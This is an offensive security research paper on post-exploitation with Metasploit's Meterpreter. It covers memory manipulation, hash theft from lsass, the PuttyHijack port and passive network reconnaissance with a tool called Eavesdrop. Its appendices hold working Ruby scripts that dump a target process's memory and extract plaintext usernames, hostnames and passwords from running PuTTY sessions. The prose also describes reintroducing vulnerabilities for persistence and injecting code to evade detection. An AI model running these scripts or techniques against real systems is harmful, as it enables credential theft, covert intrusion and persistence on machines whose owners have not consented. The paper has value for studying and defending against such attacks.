Neurosurgery With Meterpreter

http://www.attackresearch.com/

Colin Ames (amesc[at]attackresearch.com)

David Kerb (dkerb[at]attackresearch.com)

Contents

Chapter 1

Foreword

Abstract: A crucial step in post-exploitation technology is memory manipulation. Metasploit's Meterpreter provides a robust platform and API on which to build memory exploitation tools to assist the attacker in post-exploitation tasks. This talk will cover several examples of memory manipulation using meterpreter and introduce an extension to aid post-exploitation activities.

We will demonstrate the extraction of unique process memory to analyze for valuable information such as passwords. We will also demonstrate the injection of utilities into a processes memory in order to alter execution flow to provide new "features" like Putty Hijack. Another example that will be covered is interacting with the lsass process memory in order to steal windows session hashes required for pass the hash. Finally we will discuss the use of meterpreter to patch process memory in order to introduce vulnerabilities which can be leveraged for things such as persistence.

Another form of "memory" is the knowledge a host has about its network environment. This presentation will discuss the utilization of a meterpreter extension to automate and facilitate passive network reconnaissance over time, allowing for smart network data acquisition and analysis.

Thanks: The authors whould like to thank first and formost H D Moore for creating Metasploit and skape for creating Meterpreter. We would also like to thank valsmith, tebo, mc, egypt, #ar and !lso.

Chapter 2

Introduction

Post exploitation technology has evolved with the help of tools and techniques that push the boundries of what can be accomplished once it is possible to execute arbitrary code on a target machine. With payloads like Meterpreter the options to an attacker are stagering, with the abilities of the entire OS at your finger tips. A crucial area of post exploitation is the ability to manipulate memory of the target machine. An ability that is succinctly supported by Metasploits Meterpreter. This paper will first present the specifics of the Meterpreter API wich are useful for memory manipulation and then provide several examples of its use. We will continue with a more advanced approch to memory manipulation which will require extending Meterpreter. We will then discuss what further techniques need to be developed and a path forward to doing so using Meterpreter.

Modern computers work hard to try and make things work like magic. When plugged in a computer will find the local printers, file shares, and any number of other gadgets. This isn't magic as much as a loud room with people yelling across to each other looking for others of interest. In post exploitation by eavesdropping on these very public conversations it is possible to gather a great deal of knowledge without needing to send a single packet. Finally we will introduce Eavesdrop a tool that will help in collecting passive information on a network and making use of it.

Chapter 3

Memory Manipulation with Meterpreter

3.1 Meterpreter API

A crucial peice to understanding and harnising the power of Meterpreter is through the API. This not only provides developers a mechanism to extend Meterpreter but it provides a road map to what capabilities you have and how to use them. The portal to each of Meterpreter's abilities lie in its server and client extensions.

3.1.1 Server Extensions

Meterpreter's server extensions are interacted with through a command handler which is defined in a Command structure declared similary to the below code block:

```
Command customCommands[] =
{
        { "echo",
                { request_echo, { 0 }, 0 },
                { EMPTY_DISPATCH_HANDLER },
        },

        // Terminator
        { NULL,
                { EMPTY_DISPATCH_HANDLER },
                { EMPTY_DISPATCH_HANDLER },
            },
};
```

Most of the command handler's that are relevent to memory manipulation are found in "**trunk/external/source/meterpreter/source/extensions/stdapi/server/stdapi.c**" and are orginized into their server extension names via comments, the ones we care about are:

// Process

// Image

// Memory

// Thread

For the complete list refer to appendix A.1

3.1.2 Client Extensions

Meterpreter's client extensions to the server's command handlers which are relevent to memory manipulation are found in the directories:

"**trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/**"

"**trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem**"

the ones we care about are:

process.rb

thread.rb

process_subsystem/thread.rb

process_subsystem/memory.rb

process_subsystem/image.rb

3.1.3 Mapping Meterpreter Abilities

Before we can start manipulating memory of say a process we need to know how to interact with Meterpreter. Thankfully this is stright forward and simplest through Meterpreters client interface as a script. Before we move on to Meterpreter scripts, lets first map a standard windows API call used in memory manipulation back to its Meterpreter script equivalant.

On Windows the first step to memory manipulation of a process is accessing its memory. We can accomplish this through the call:

```
HANDLE WINAPI OpenProcess(
__in  DWORD dwDesiredAccess,
__in  BOOL bInheritHandle,
__in  DWORD dwProcessId );
```

Now we need to find the appriate call to use to access "*OpenProcess*" a quick grep will point us to:

"**trunk/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c**" and the function:

```
DWORD request_sys_process_attach(Remote *remote, Packet *packet)
```

For complete function see A.2

Next we need to identify the command handler that calls "*request_ sys_ process_ attach*", which happens to be the first command handler define in the section for *"//Process":*

```
// Process
{ "stdapi_sys_process_attach",
        { request_sys_process_attach,   { 0 }, 0 },
        { EMPTY_DISPATCH_HANDLER        },
},
```

With the command handler "*stdapi_ sys_ process_ attach*" we can now lookup the client extension responsible for sending and processing the request to the Meterpreter server which leads us to: "**trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb**" and the def:

```
#
# Low-level process open.
#
def Process._open(pid, perms, inherit = false)
        request = Packet.create_request('stdapi_sys_process_attach')
```

Which is called by "*Process.open*", when a Meterpreter session is initilized we get access to most of the extensions used in memory manipulation through the object "*client.sys*". So to make a call to the command handler "*stdapi_ sys_ process_ attach"* in a Meterpreter script our command would be simply:

```
handle = client.sys.process.open(pid,PROCESS_ALL_ACCESS)
```

Now that we know how to interact with Meterpreter lets move on to more specific and advanced examples.

3.2 Tools

3.2.1 Process Dumping

Process dumping nicely combines several features of memory manipulation access, query, and read. We have created a simple yet powerful process dumper with Meterpreters scripting facilties. The script uses "**MEMORY_BASIC_INFORMATION**" structure to get the beginning address and size of each managed section in the processes memory space and iteraterates through each section reading the contents, then writes the contents out through Meterpreters connection.

Full code:A.3

3.2.2 Extracting useful features from process memory

Once your able to fully dump a processes memory the next step is to "carve" or selectivly dump information from memory. We demostrate this by pulling the username, hostname, and password from the unsanatized memory of putty version 0.53b.

Full code:A.4

3.2.3 PuttyHijack

The ability to alter a programs execution can be greatly advantagest during post exploitation activities. This requires not only being able to gain acess, query, and read memory but also selective writing to targeted regions in that memory. A tool by Insomnia Security call PuttyHijack did exactly this and added the benifit of shipping captured information off over a socket. We have ported Insomnia's tool to Metasploit in the form of an extension so showcase this powerful technique.

3.3 Techniques

3.3.1 Gsecdump / Pash the hash toolkit

http://oss.coresecurity.com/projects/pshtoolkit.htm

http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx

3.3.2 Introduce vulnerabilities

The final frontier for memory manipulation is the targeted introduction of vulnerabilities into already running code, or "unpatching" code to re-introduce vulnrabilities. More to come.

Chapter 4

Eavesdrop

Some information security professionals that focus on defense have common preconceptions about actions they believe an attacker must perform. For example that an attacker will always perform a network portscan in order to determine what services are available and which systems offer the best opportunities for compromise. This is a detectable event which defense personell can build tools around in order to defeat an attack. However, that attackers will always scan prior to an attack is an incorrect assumption.

4.1 Targeting

Servers which offer popular services will tend to have large quantities of network traffic because most if not all systems on the network will contact them. If two machines on the same subnet need to communicate, they must know each others MAC addresses. The ARP protocol handles this process by querying the entire subnet to locate the MAC of the system it wants to communicate with. Though there can be false positives, it is possible to passivley identify popular servers by monitoring ARP traffic. Popular servers are often found to have the largest attack surface. By analysing the timing of ARP traffic between two systems other information about the communication channel can also be identified.

Misconfigured systems on a network often offer opportunities for compromise. ARP traffic can provide information about systems which have incorrect subnet masks, possibly indicating other misconfigurations also exist. An incorreclty large subnet mask will leak broadcast information about a larger network to the local subnet, providing an attacker with passive network mapping possiblities.

Larger networks running windows machines are often configured to use a domain for authentication but can sometimes contain systems which are not domain members. These systems broadcast traffic using the SMB and CIFS protocols which contains information useful to an attacker including: domain name, hostname and service related data. This could reveal trust trelationship information. For example the domain name for company A may be found broadcast on the network of company B. This indicates there may be some trusted relationship between the two companies which may not have been previously known to the attacker.

These boxes will also broadcast DNS queries if the requested system is not in the local DNS server. A classic example is WPAD. If an attacker sees WPAD broadcast on a network, they can likely gain access using a WPAD attack. This is also an opportunity to see what servers these windows boxes communicate with.

Many applications broadcast various types of information on different protocols. Information such as peoples names, hostnames of a variety of devices, and open ports can sometimes be found in this traffic. For example Tivo announces what ports to connect to in order to access the web management console. The presense of iphone/itouch traffic indicates that wireless is connected to the network.

4.2 Finding vulnerabilities

While locating which systems to target by analysing network traffic is important, other data is available which can provide opportunities to an attacker. For example web server traffic and client browsers and configurations can also be discovered, aiding the attacker in the targeting process. Payloads can be more accurately tailored to the environment in a passive way, which avoids alerting the target.

These concepts can be extended to any protocol which passes through a system listening with Eavesdrop. For example if Eavesdrop is running on a client which is communicating with a web server, the banner returned from the server can contain information useful to the attacker, including operating system, server version, available plugins and in some cases patch levels. This information can be analysed for potential vulnerablilities with no packets or scans sent from the attacker.

4.3 Data collection

All this valuable data exists on the network, but must be collected and utilized. TCPDUMP is a tool commonly used for this activity, but has several disadvantages. The first disadvantage is that it generates large packet capture files over time which must be exfiltrated from the target, increasing the likelyhood of detection. The data then needs to be analyzed. Tools like Wireshark can aid in the analysis of this data, but will not yeild the complete picture an attacker may need.

Eavesdrop will collect the data on the remote machine, peform minimal processing, and provide a summary to the attacker. This eliminates large data transfers and reduces analysis time. In future releases Eavesdrop will accept a pcap file if the user prefers to use a tools like tcpdump.

4.4 Code

The Eavesdrop code currently is alpha. The concepts have been widely tested with tcpdump and random samplings of network traffic. Eavesdrop uses libpcap and winpcap to capture traffic passively for processing and the installation of these libraries is currently unavoidable. Currently all code for Eavedrop is written in C and developed on linux.

Eavesdrop gives up file system stealth in favor of network stealth. It is easier for the attacker to evade detection on a single file system as opposed to sending packets over a wire which may have taps, IDS, or other monitoring.

Eavesdrop can currently track ARP traffic and request frequency. The output is in plain text for simple transfer and reading.

4.5 Future

Eavesdrop is being written for cross platform compatibility. Future versions of Eavesdrop will be ported to Windows and use meterpreter to accomplish communications as well as exfiltration. One of the reasons that C was selected as the language for Eavesdrop is in order to make future versions into a DLL that can be injected into other windows processes to help hide from process monitoring.

The framework is being designed to allow for functions to be easily added to look for new vulnerabilities, traffic patters, and gleaning of information. The first planned upgrade is to include SMB, CIFS, and rendezvous support. This is planned for release mid 2010.

Chapter 5

Conclusion

As post exploitation continues to evolve memory manipulation and passive techniques must not only become a more sopisticated peice of our arsenal but a way of thinking. Hopefully this work will help bridge this gap by providing the examples and motivation to others to push this evolution.

Appendix A

Meterpreter Code

A.1 Server Command Handlers

Relevant command handlers for memory manipulation defined in: "**trunk/external/source/meterpreter/source/extensions/stdapi/server/stdapi.c**"

```
// Process
{ "stdapi_sys_process_attach",
  { request_sys_process_attach,                       { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_close",
  { request_sys_process_close,                        { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_execute",
  { request_sys_process_execute,                      { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_kill",
  { request_sys_process_kill,                         { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_get_processes",
  { request_sys_process_get_processes,                { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_getpid",
  { request_sys_process_getpid,                       { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_get_info",
  { request_sys_process_get_info,                  { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_wait",
  { request_sys_process_wait,                      { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},

// Image
{ "stdapi_sys_process_image_load",
  { request_sys_process_image_load,                { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_image_get_proc_address",
  { request_sys_process_image_get_proc_address,    { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_image_unload",
  { request_sys_process_image_unload,              { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_image_get_images",
  { request_sys_process_image_get_images,          { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},

// Memory
{ "stdapi_sys_process_memory_allocate",
  { request_sys_process_memory_allocate,           { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_memory_free",
  { request_sys_process_memory_free,               { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_memory_read",
  { request_sys_process_memory_read,               { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_memory_write",
  { request_sys_process_memory_write,              { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                      },
},
{ "stdapi_sys_process_memory_query",
  { request_sys_process_memory_query,                 { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_memory_protect",
  { request_sys_process_memory_protect,               { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_memory_lock",
  { request_sys_process_memory_lock,                  { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_memory_unlock",
  { request_sys_process_memory_unlock,                { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},

// Thread
{ "stdapi_sys_process_thread_open",
  { request_sys_process_thread_open,                  { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_create",
  { request_sys_process_thread_create,                { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_close",
  { request_sys_process_thread_close,                 { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_get_threads",
  { request_sys_process_thread_get_threads,           { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_suspend",
  { request_sys_process_thread_suspend,               { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_resume",
  { request_sys_process_thread_resume,                { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_terminate",
  { request_sys_process_thread_terminate,             { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_query_regs",
  { request_sys_process_thread_query_regs,            { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
{ "stdapi_sys_process_thread_set_regs",
  { request_sys_process_thread_set_regs,              { 0 }, 0 },
  { EMPTY_DISPATCH_HANDLER                                     },
},
```

A.2 OpenProcess

Meterpreter function providing access to OpenProcess defined in:

““**trunk/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c**”

```
/*
 * Allocates memory in the context of the supplied process.
 *
 * req: TLV_TYPE_HANDLE          - The process handle to allocate memory within.
 * req: TLV_TYPE_LENGTH          - The amount of memory to allocate.
 * req: TLV_TYPE_ALLOCATION_TYPE - The type of memory to allocate.
 * req: TLV_TYPE_PROTECTION      - The protection flags to allocate the memory with.
 * opt: TLV_TYPE_BASE_ADDRESS    - The address to allocate the memory at.
 */
DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet)
{
        Packet *response = packet_create_response(packet);
        HANDLE handle;
        LPVOID base;
        SIZE_T size;
        DWORD result = ERROR_SUCCESS;
        DWORD alloc, prot;

        // Snag the TLV values
        handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
        base   = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_BASE_ADDRESS);
        size   = (SIZE_T)packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);
        alloc  = packet_get_tlv_value_uint(packet, TLV_TYPE_ALLOCATION_TYPE);
        prot   = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION);

        // Allocate the memory
        if ((base = VirtualAllocEx(handle, base, size, alloc, prot)))
                packet_add_tlv_uint(response, TLV_TYPE_BASE_ADDRESS, (DWORD)base);
        else
```

```
                result = GetLastError();

        // Transmit the response
        packet_transmit_response(result, remote, response);

        return ERROR_SUCCESS;
}
```

A.3 process_dump

```
#!/usr/bin/env ruby

require 'fileutils'









pid = nil
toggle = nil
process_match = nil


opts = Rex::Parser::Arguments.new(
        "-h" => [ false,"Help menu." ],
        "-p" => [ false, "PID of process to dump."],
        "-t" => [ false, "toggle location information in dump."]
)
opts.parse(args) { |opt, idx, val|
        case opt
        when "-p"
                pid = val
when "-t"
toggle = true
        when "-h"
                print_line("")
                print_line("USAGE:   run process_dump [regex] [-p [PID]]")
                print_line("EXAMPLE: run process_dump putty.exe")
                print_line("EXAMPLE: run process_dump -p 1234")
                print_line(opts.usage)
                raise Rex::Script::Completed
        else
                process_match = val
end
}


if pid
print_status("hehe pid = #{pid}")
# Get a Handle to process
dump_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
if dump_process.nil?
print_status("Error: PID = #{pid} Not Valid or unable to open for dump.")
exit
end
else
processes = client.sys.process.get_processes.sort_by { |ent| ent['pid'] }

# Find pid for process_match
processes.each{|data|
         if data["name"].match(/#{process_match}/)
                 pid = data["pid"]
break
         end

}


if pid.nil?
print_status("Error: PID = nil!!")
exit
end

# Get a Handle to process
dump_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
if dump_process.nil?
print_status("Error: PID = #{pid} Not Valid or unable to open for dump.")
exit
end
print_status("Process Match #{dump_process.name} PID is #{pid}")


end
exit
dump = ::File.open("/tmp/#{dump_process.name}.dump","w+")
print_status("Dumping Process #{dump_process.name} with PID #{pid}")
```

```
# MaximumApplicationAddress for 32bit or close enough
maximumapplicationaddress = 2147418111
base_size = 0
while base_size < maximumapplicationaddress

        mbi = dump_process.memory.query(base_size)

if toggle
# Record some useful information in dump
         dump << mbi.inspect
end

# Check if Allocated
        if mbi["Available"].to_s == "false"

                # Read some memory from process
                dump << dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])
                print_status("base size = #{base_size}")
        end


        base_size += mbi["RegionSize"]
end
```

A.4 putty_password_dump

```
#!/usr/bin/env ruby

require 'fileutils'

processes = client.sys.process.get_processes.sort_by { |ent| ent['pid'] }
pid = []

# Find pid's for processes putty.exe
processes.each{|data|
        if data["name"].match(/putty.+\.exe/)
                pid.push(data["pid"])
        end

}

print_status("Putty's PID's are:")
```

```
pid.each{ |tpid| print_status("#{tpid}") }


pid.each{ |tpid|

dump = ""
# Get a Handle to putty.exe
putty = client.sys.process.open(tpid, PROCESS_ALL_ACCESS)
# Dump Memory Segment at base 4526080 and size 86016
dump = putty.memory.read(4526080,86016)

# Offsets in memory region for username hostname and password
username_offset = "0x302C".hex
password_offset = "0x30FC".hex

t_username = dump[username_offset,50]
t_password = dump[password_offset,50]

# Parse out username hostname and password make pretty
username = t_username.to_s[/(.+)@.+/, 1]
hostname = t_username.to_s[/.+@(.+)'s/,1]
password = t_password.to_s[/([\x20-\x7e]+)/, 1]

print_status("username@hostname:password")
print_status("#{username}@#{hostname}:#{password}")

# Close handle to process
putty.close
}
```